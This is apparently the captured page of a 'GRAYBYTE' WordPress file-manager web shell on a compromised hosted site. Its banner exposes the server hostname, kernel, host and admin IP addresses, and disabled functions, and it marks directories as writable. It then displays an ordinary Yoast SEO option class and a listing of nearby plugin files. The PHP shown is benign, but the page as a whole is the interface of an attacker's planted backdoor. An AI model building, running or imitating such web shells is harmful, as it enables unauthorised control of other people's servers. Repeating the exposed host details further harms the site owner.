✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/dynamic-blocks/sys-temp/options//class-wpseo-option-tracking-only.php
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals\Options
 */

/**
 * Option: wpseo_tracking_only.
 *
 * For stuff that their only purpose is tracking.
 */
class WPSEO_Option_Tracking_Only extends WPSEO_Option {

	/**
	 * Option name.
	 *
	 * @var string
	 */
	public $option_name = 'wpseo_tracking_only';

	/**
	 * Array of defaults for the option.
	 *
	 * Shouldn't be requested directly, use $this->get_defaults();
	 *
	 * @var array<string, int|string|array<int>>
	 */
	protected $defaults = [
		'task_list_first_opened_on'            => '',
		'task_first_actioned_on'               => '',
		'frontend_inspector_first_actioned_on' => '',
	];

	/**
	 * Get the singleton instance of this class.
	 *
	 * @return object
	 */
	public static function get_instance() {
		if ( ! ( self::$instance instanceof self ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * All concrete classes must contain a validate_option() method which validates all
	 * values within the option.
	 *
	 * @phpcs:disable VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Needed because the function is called with the parameter $old.
	 *
	 * @param array<string, string> $dirty New value for the option.
	 * @param array<string, string> $clean Clean value for the option, normally the defaults.
	 * @param array<string, string> $old   Old value of the option.
	 *
	 * @return array<string, string> The clean option with the saved value.
	 */
	protected function validate_option( $dirty, $clean, $old ) {

		foreach ( $clean as $key => $value ) {
			switch ( $key ) {
				case 'task_list_first_opened_on':
				case 'task_first_actioned_on':
				case 'frontend_inspector_first_actioned_on':
					// These should be set only once and never changed again (unless completely reset to default).

					if ( isset( $dirty[ $key ] ) && $old[ $key ] === $this->get_defaults()[ $key ] ) {
						// Allow setting it for the first time.
						$clean[ $key ] = sanitize_text_field( $dirty[ $key ] );
					}
					elseif ( isset( $dirty[ $key ] ) && $dirty[ $key ] === $this->get_defaults()[ $key ] ) {
						// Allow resetting to default.
						$clean[ $key ] = $dirty[ $key ];
					}
					else {
						// Otherwise keep old value.
						$clean[ $key ] = $old[ $key ];
					}

					break;
			}
		}

		return $clean;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
20 Sep 2026 9.51 PM
docteuh / users
0755
class-wpseo-option-llmstxt.php
2.931 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wpseo-option-ms.php
9.228 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wpseo-option-social.php
9.104 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wpseo-option-titles.php
34.324 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wpseo-option-tracking-only.php
2.285 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wpseo-option-wpseo.php
24.876 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wpseo-option.php
28.011 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wpseo-options.php
17.101 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wpseo-taxonomy-meta.php
17.438 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF